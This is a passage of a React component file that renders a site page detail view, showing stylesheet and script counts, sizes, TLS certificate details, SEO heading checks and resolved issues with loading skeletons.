{isComponentReady && totalStylesheets ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{totalStylesheets}</dd> ) : isComponentReady && !totalStylesheets ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalOkStylesheetsText}</dt> {isComponentReady && totalOkStylesheets ? ( <dd className="mt-1 text-sm text-green-500 sm:col-span-2 sm:mt-0">{totalOkStylesheets}</dd> ) : isComponentReady && !totalOkStylesheets ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalNonOkStylesheetsText}</dt> {isComponentReady && totalNonOkStylesheets ? ( <dd className="mt-1 text-sm text-red-500 sm:col-span-2 sm:mt-0">{totalNonOkStylesheets}</dd> ) : isComponentReady && !totalNonOkStylesheets ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalSizeImagesText}</dt> {isComponentReady && convertedSize ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{convertedSize}</dd> ) : isComponentReady && !convertedSize ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalSizeScriptsText}</dt> {isComponentReady && convertedTotalSizeScripts ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{convertedTotalSizeScripts}</dd> ) : isComponentReady && !convertedTotalSizeScripts ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalSizeStylesheetsText}</dt> {isComponentReady && convertedTotalSizeStylesheets ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> {convertedTotalSizeStylesheets} </dd> ) : isComponentReady && !convertedTotalSizeStylesheets ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalSizeText}</dt> {isComponentReady && convertedTotalSize ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{convertedTotalSize}</dd> ) : isComponentReady && !convertedTotalSize ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalSizeAdjustedText}</dt> {isComponentReady && convertedTotalSizeAdjusted ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{convertedTotalSizeAdjusted}</dd> ) : isComponentReady && !convertedTotalSizeAdjusted ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsStatusText}</dt> {isComponentReady && tlsStatus ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> {tlsStatus === "OK" ? ( <MemoizedBadge text="OK" isSuccess /> ) : tlsStatus === "TIMEOUT" ? ( <MemoizedBadge text="TIMEOUT" isWarning /> ) : tlsStatus === "HTTP_ERROR" ? ( <MemoizedBadge text="HTTP ERROR" isDanger /> ) : ( <MemoizedBadge text="OTHER ERROR" isDanger /> )} </dd> ) : isComponentReady && !tlsStatus ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalTlsImagesText}</dt> {isComponentReady && totalTlsImages ? ( <dd className={classnames( "mt-1 text-sm sm:col-span-2 sm:mt-0", totalTlsImages > 0 ? "text-green-500" : "text-red-500" )} > {totalTlsImages} </dd> ) : isComponentReady && !totalTlsImages ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalNonTlsImagesText}</dt> {isComponentReady && totalNonTlsImages ? ( <dd className={classnames( "mt-1 text-sm sm:col-span-2 sm:mt-0", totalNonTlsImages > 0 ? "text-red-500" : "text-green-500" )} > {totalNonTlsImages} </dd> ) : isComponentReady && !totalNonTlsImages ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalTlsScriptsText}</dt> {isComponentReady && totalTlsScripts ? ( <dd className={classnames( "mt-1 text-sm sm:col-span-2 sm:mt-0", totalTlsScripts > 0 ? "text-green-500" : "text-red-500" )} > {totalTlsScripts} </dd> ) : isComponentReady && !totalTlsScripts ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalNonTlsScriptsText}</dt> {isComponentReady && totalNonTlsScripts ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !totalNonTlsScripts ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalTlsStylesheetsText}</dt> {isComponentReady && totalTlsStylesheets ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{totalTlsStylesheets}</dd> ) : isComponentReady && !totalTlsStylesheets ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalNonTlsStylesheetsText}</dt> {isComponentReady && totalNonTlsStylesheets ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{totalNonTlsStylesheets}</dd> ) : isComponentReady && !totalNonTlsStylesheets ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsImagesText}</dt> {isComponentReady && tlsImages ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !tlsImages ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsScriptsText}</dt> {isComponentReady && tlsScripts ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !tlsScripts ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsStylesheetsText}</dt> {isComponentReady && tlsStylesheets ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !tlsStylesheets ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsTotalText}</dt> {isComponentReady && tlsTotal ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !tlsTotal ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsTotalAdjustedText}</dt> {isComponentReady && tlsTotalAdjusted ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !tlsTotalAdjusted ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> </dl> </div> </div> <div className="flex flex-auto flex-grow flex-col items-center justify-center px-6 pt-8 focus:outline-none sm:px-6 md:px-0"> <div className="h-full w-full flex-1 items-center justify-center overflow-y-hidden py-4 first-line:flex"> <div className="pb-12"> <div> <h3 className="text-xl font-bold leading-6 text-gray-900">{seoInformationText}</h3> </div> <div className="mt-5"> <dl className="sm:divide-y sm:divide-gray-200"> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{hasTitleAdjustedText}</dt> {isComponentReady && hasTitleAdjusted ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !hasTitleAdjusted ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{hasDescriptionAdjustedText}</dt> {isComponentReady && hasDescriptionAdjusted ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !hasDescriptionAdjusted ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{hasH1FirstAdjustedText}</dt> {isComponentReady && hasH1FirstAdjusted ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !hasH1FirstAdjusted ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{hasH1SecondAdjustedText}</dt> {isComponentReady && hasH1SecondAdjusted ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !hasH1SecondAdjusted ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{hasH2FirstAdjustedText}</dt> {isComponentReady && hasH2FirstAdjusted ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !hasH2FirstAdjusted ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{hasH2SecondAdjustedText}</dt> {isComponentReady && hasH2SecondAdjusted ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !hasH2SecondAdjusted ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{hasDuplicatedTitleAdjustedText}</dt> {isComponentReady && hasDuplicatedTitleAdjusted ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !hasDuplicatedTitleAdjusted ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{hasDuplicatedDescriptionAdjustedText}</dt> {isComponentReady && hasDuplicatedDescriptionAdjusted ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !hasDuplicatedDescriptionAdjusted ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> </dl> </div> </div> </div> </div> <div className="pb-12"> <div> <h3 className="text-xl font-bold leading-6 text-gray-900">{tlsInformationText}</h3> </div> <div className="mt-5"> <dl className="sm:divide-y sm:divide-gray-200"> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsNotBeforeText}</dt> {isComponentReady && tlsNotBefore ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{tlsNotBefore}</dd> ) : isComponentReady && !tlsNotBefore ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsNotAfterText}</dt> {isComponentReady && tlsNotAfter ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{tlsNotAfter}</dd> ) : isComponentReady && !tlsNotAfter ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsCommonNameText}</dt> {isComponentReady && tlsCommonName ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{tlsCommonName}</dd> ) : isComponentReady && !tlsCommonName ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsOrganizationText}</dt> {isComponentReady && tlsOrganization ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{tlsOrganization}</dd> ) : isComponentReady && !tlsOrganization ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsDnsNamesText}</dt> {isComponentReady && tlsDnsNames?.length > 0 ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> {tlsDnsNames.map((name) => ( <span key={name} className="my-2 block text-gray-900"> {name} </span> ))} </dd> ) : isComponentReady && !tlsDnsNames ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsIssuerOrganizationText}</dt> {isComponentReady && tlsIssuerOrganization ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{tlsIssuerOrganization}</dd> ) : isComponentReady && !tlsIssuerOrganization ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsIssuerCommonNameText}</dt> {isComponentReady && tlsIssuerCommonName ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{tlsIssuerCommonName}</dd> ) : isComponentReady && !tlsIssuerCommonName ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsCipherSuiteText}</dt> {isComponentReady && tlsCipherSuite ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{tlsCipherSuite}</dd> ) : isComponentReady && !tlsCipherSuite ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsVersionText}</dt> {isComponentReady && tlsVersion ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{tlsVersion}</dd> ) : isComponentReady && !tlsVersion ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{tlsErrorsText}</dt> {isComponentReady && tlsErrors ? ( <dd className="mt-1 text-sm text-red-500 sm:col-span-2 sm:mt-0">{tlsErrors}</dd> ) : isComponentReady && !tlsErrors ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> </dl> </div> </div> <div className="pb-12"> <div> <h3 className="text-xl font-bold leading-6 text-gray-900">{resolvedIssuesText}</h3> </div> <div className="mt-5"> <dl className="sm:divide-y sm:divide-gray-200"> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{resolvedTlsText}</dt> {isComponentReady && resolvedTls ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !resolvedTls ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{resolvedSizeText}</dt> {isComponentReady && resolvedSize ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !resolvedSize ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{resolvedMissingTitleText}</dt> {isComponentReady && resolvedMissingTitle ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !resolvedMissingTitle ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{resolvedMissingDescriptionText}</dt> {isComponentReady && resolvedMissingDescription ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !resolvedMissingDescription ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{resolvedMissingH1FirstText}</dt> {isComponentReady && resolvedMissingH1First ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !resolvedMissingH1First ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{resolvedMissingH1SecondText}</dt> {isComponentReady && resolvedMissingH1Second ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !resolvedMissingH1Second ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{resolvedMissingH2FirstText}</dt> {isComponentReady && resolvedMissingH2First ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !resolvedMissingH2First ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{resolvedMissingH2SecondText}</dt> {isComponentReady && resolvedMissingH2Second ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !resolvedMissingH2Second ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{resolvedDuplicateTitleText}</dt> {isComponentReady && resolvedDuplicateTitle ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !resolvedDuplicateTitle ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{resolvedDuplicateDescriptionText}</dt> {isComponentReady && resolvedDuplicateDescription ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0"> <MemoizedSiteSuccessIcon /> </dd> ) : isComponentReady && !resolvedDuplicateDescription ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> </dl> </div> </div> </div> </div> </> ); }; /** * Memoized custom `SitePageDetailPageLayout` component */ export const MemoizedSitePageDetailPageLayout = memo(SitePageDetailPageLayout);
